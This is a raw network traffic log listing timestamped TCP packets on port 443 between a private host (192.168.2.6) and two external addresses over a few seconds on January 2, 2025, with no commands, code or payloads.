Jan 2, 2025 20:28:58.155965090 CET	50187	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.156039953 CET	50187	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.156075001 CET	443	50187	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.156131983 CET	50187	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.156677961 CET	50192	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.156703949 CET	443	50192	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.156763077 CET	50192	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.157006025 CET	50192	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.157018900 CET	443	50192	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.165139914 CET	443	50186	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.165301085 CET	50186	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.165323019 CET	443	50186	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.165373087 CET	50186	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.165419102 CET	50186	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.165455103 CET	443	50186	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.165503025 CET	50186	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.165942907 CET	50193	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.165965080 CET	443	50193	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.166018963 CET	50193	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.166202068 CET	50193	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.166215897 CET	443	50193	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.198467016 CET	443	50188	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.198513031 CET	443	50188	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.198626995 CET	443	50188	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.198669910 CET	50188	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.198669910 CET	50188	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.198671103 CET	50188	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.199448109 CET	50188	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.199469090 CET	443	50188	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.200129032 CET	50194	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.200145006 CET	443	50194	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.200200081 CET	50194	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.200490952 CET	50194	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.200504065 CET	443	50194	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.368468046 CET	443	50185	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.368511915 CET	443	50185	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.368602991 CET	50185	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.368623018 CET	443	50185	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.368629932 CET	50185	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.368633032 CET	443	50185	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.368689060 CET	50185	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.369549990 CET	50185	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.369565010 CET	443	50185	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.370064020 CET	50195	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.370120049 CET	443	50195	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.370179892 CET	50195	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.370384932 CET	50195	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.370398045 CET	443	50195	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.785914898 CET	443	50192	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.786003113 CET	50192	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.786696911 CET	443	50192	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.786753893 CET	50192	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.790400028 CET	50192	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.790406942 CET	443	50192	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.790656090 CET	443	50192	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.790997028 CET	50192	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.791403055 CET	50192	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.835350990 CET	443	50192	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.847563982 CET	443	50193	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.847759962 CET	50193	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.848346949 CET	443	50193	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.848414898 CET	50193	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.849996090 CET	443	50194	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.850404024 CET	50193	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.850413084 CET	443	50193	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.850431919 CET	50194	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.850656033 CET	50194	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.850660086 CET	443	50194	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.850687981 CET	443	50193	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:58.850830078 CET	50194	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:58.850835085 CET	443	50194	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:58.850847960 CET	50193	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.851094961 CET	50193	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:58.891338110 CET	443	50193	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.038117886 CET	443	50195	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.040237904 CET	50195	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.044523001 CET	50195	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.044533968 CET	443	50195	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.044722080 CET	50195	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.044725895 CET	443	50195	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.238029003 CET	443	50193	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.238972902 CET	443	50193	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.239073038 CET	50193	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.239200115 CET	50193	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.239217043 CET	443	50193	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.239813089 CET	50197	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.239845991 CET	443	50197	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.243077040 CET	50197	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.243469954 CET	50197	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.243483067 CET	443	50197	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.267271042 CET	443	50192	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.268553972 CET	443	50192	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.268640041 CET	50192	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.268719912 CET	50192	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.268719912 CET	50192	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.268738031 CET	443	50192	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.269215107 CET	50192	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.269217968 CET	50198	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.269253016 CET	443	50198	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.271047115 CET	50198	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.271243095 CET	50198	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.271258116 CET	443	50198	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.280575991 CET	443	50194	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.280627012 CET	443	50194	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.280698061 CET	50194	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.280706882 CET	443	50194	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.280740976 CET	443	50194	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.280788898 CET	50194	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.281400919 CET	50194	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.281409979 CET	443	50194	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.281847954 CET	50199	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.281869888 CET	443	50199	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.282510996 CET	50199	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.282718897 CET	50199	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.282732010 CET	443	50199	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.469789982 CET	443	50195	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.469839096 CET	443	50195	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.469924927 CET	50195	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.469938040 CET	443	50195	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.469949007 CET	50195	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.469949961 CET	443	50195	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.470005035 CET	50195	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.470848083 CET	50195	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.470865011 CET	443	50195	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.471492052 CET	50200	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.471543074 CET	443	50200	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.471611023 CET	50200	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.471877098 CET	50200	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.471890926 CET	443	50200	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.884176970 CET	443	50197	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.884294987 CET	50197	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.885190964 CET	50197	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.885200024 CET	443	50197	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.885435104 CET	50197	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.885440111 CET	443	50197	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.946985006 CET	443	50199	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.947156906 CET	50199	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.947570086 CET	50199	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.947585106 CET	443	50199	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.949358940 CET	50199	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:59.949371099 CET	443	50199	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:59.986773968 CET	443	50198	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.986840010 CET	50198	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.987401009 CET	50198	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.987409115 CET	443	50198	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:59.987571955 CET	50198	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:59.987576008 CET	443	50198	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:00.040184021 CET	50200	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:00.040227890 CET	50197	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:00.040339947 CET	50199	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:00.040339947 CET	50198	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:00.040807009 CET	50201	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:00.040841103 CET	443	50201	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:00.040910959 CET	50201	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:00.041368961 CET	50201	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:00.041379929 CET	443	50201	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:00.042372942 CET	50202	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:00.042429924 CET	443	50202	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:00.042483091 CET	50202	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:00.042659998 CET	50202	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:00.042674065 CET	443	50202	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:00.703869104 CET	443	50201	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:00.703933001 CET	50201	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:00.704483986 CET	50201	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:00.704493046 CET	443	50201	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:00.706686020 CET	50201	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:00.706691027 CET	443	50201	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:00.714205027 CET	443	50202	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:00.714272022 CET	50202	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:00.714682102 CET	50202	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:00.714690924 CET	443	50202	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:00.714885950 CET	50202	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:00.714890957 CET	443	50202	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.094672918 CET	443	50201	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.094775915 CET	50201	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.094789982 CET	443	50201	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.094835043 CET	50201	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.095001936 CET	50201	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.095043898 CET	443	50201	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.095093966 CET	50201	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.095695972 CET	50206	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.095740080 CET	443	50206	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.095799923 CET	50206	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.096302032 CET	50206	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.096316099 CET	443	50206	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.098562956 CET	443	50202	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.098666906 CET	50202	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.098929882 CET	50207	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:01.098963022 CET	443	50207	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:01.099021912 CET	50207	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:01.099067926 CET	50202	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.099112034 CET	443	50202	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.099169970 CET	50202	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.099555016 CET	50208	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:01.099584103 CET	443	50208	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:01.099644899 CET	50208	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:01.099771023 CET	50209	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.099778891 CET	443	50209	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.099828005 CET	50209	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.100035906 CET	50209	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.100054979 CET	443	50209	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.100423098 CET	50207	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:01.100440025 CET	443	50207	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:01.100625038 CET	50208	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:01.100637913 CET	443	50208	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:01.730523109 CET	443	50209	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.730608940 CET	50209	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.731323957 CET	443	50209	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.731379986 CET	50209	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.733197927 CET	443	50208	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:01.733263016 CET	50208	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:01.739940882 CET	443	50207	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:01.740014076 CET	50207	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:01.742389917 CET	50209	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.742407084 CET	443	50209	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.742650032 CET	443	50209	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.743036985 CET	50209	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.744055986 CET	50209	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.746177912 CET	50208	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:01.746191978 CET	443	50208	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:01.749047041 CET	50207	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:01.749062061 CET	443	50207	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:01.749294996 CET	443	50208	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:01.749337912 CET	443	50207	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:01.749363899 CET	50208	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:01.749398947 CET	50207	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:01.749953032 CET	50208	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:01.749953032 CET	50207	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:01.791332006 CET	443	50209	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.795331955 CET	443	50207	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:01.795346975 CET	443	50208	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:01.867675066 CET	443	50206	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.867763042 CET	50206	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.868437052 CET	443	50206	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.868494034 CET	50206	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.870491028 CET	50206	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.870501041 CET	443	50206	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.870795012 CET	443	50206	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:01.870856047 CET	50206	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.871299982 CET	50206	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:01.911334038 CET	443	50206	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.158982038 CET	443	50209	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.160165071 CET	443	50209	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.160288095 CET	50209	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.160511971 CET	50209	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.160526991 CET	443	50209	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.161253929 CET	50210	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.161309958 CET	443	50210	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.161382914 CET	50210	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.161624908 CET	50210	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.161642075 CET	443	50210	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.196592093 CET	443	50207	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.196638107 CET	443	50207	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.196728945 CET	50207	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.196749926 CET	443	50207	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.196763039 CET	443	50207	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.196795940 CET	50207	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.196825027 CET	50207	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.197649002 CET	50207	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.197662115 CET	443	50207	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.198240995 CET	50211	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.198288918 CET	443	50211	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.198344946 CET	50211	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.198606014 CET	50211	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.198621035 CET	443	50211	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.260746956 CET	443	50206	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.260895014 CET	50206	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.261046886 CET	50206	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.261089087 CET	443	50206	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.261271000 CET	443	50206	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.261327028 CET	50206	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.261346102 CET	50206	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.261750937 CET	50212	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.261789083 CET	443	50212	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.261899948 CET	50212	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.262180090 CET	50212	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.262192965 CET	443	50212	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.338886976 CET	443	50208	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.338967085 CET	443	50208	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.338985920 CET	50208	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.339006901 CET	443	50208	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.339020014 CET	50208	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.339056969 CET	50208	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.339062929 CET	443	50208	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.339095116 CET	443	50208	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.339097977 CET	50208	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.339134932 CET	50208	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.339835882 CET	50208	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.339848995 CET	443	50208	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.340373993 CET	50214	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.340401888 CET	443	50214	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.340676069 CET	50214	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.340821981 CET	50214	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.340831995 CET	443	50214	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.800877094 CET	443	50210	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.801062107 CET	50210	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.801661968 CET	443	50210	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.801732063 CET	50210	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.805427074 CET	50210	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.805450916 CET	443	50210	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.805747032 CET	443	50210	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.805803061 CET	50210	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.806219101 CET	50210	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:02.846121073 CET	443	50211	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.847101927 CET	50211	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.847328901 CET	443	50210	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:02.847628117 CET	50211	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.847642899 CET	443	50211	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:02.847843885 CET	50211	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:02.847851992 CET	443	50211	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.015615940 CET	443	50212	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.015717983 CET	50212	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.016370058 CET	443	50212	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.016422987 CET	50212	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.018167973 CET	50212	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.018178940 CET	443	50212	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.018415928 CET	443	50212	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.019174099 CET	443	50214	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.019241095 CET	50212	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.019567966 CET	50214	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.019567966 CET	50214	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.019599915 CET	443	50214	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.019630909 CET	50212	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.019777060 CET	50214	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:29:03.019783020 CET	443	50214	142.250.185.65	192.168.2.6
Jan 2, 2025 20:29:03.067342997 CET	443	50212	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.270967007 CET	443	50210	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.271091938 CET	443	50210	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.271233082 CET	50210	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.271424055 CET	50210	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.271447897 CET	443	50210	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.272072077 CET	50215	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.272121906 CET	443	50215	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.273329020 CET	50215	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.273536921 CET	50215	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.273549080 CET	443	50215	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.328716993 CET	443	50212	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.328845024 CET	443	50212	142.250.185.78	192.168.2.6
Jan 2, 2025 20:29:03.328941107 CET	50212	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:29:03.329133987 CET	50212	443	192.168.2.6	142.250.185.78
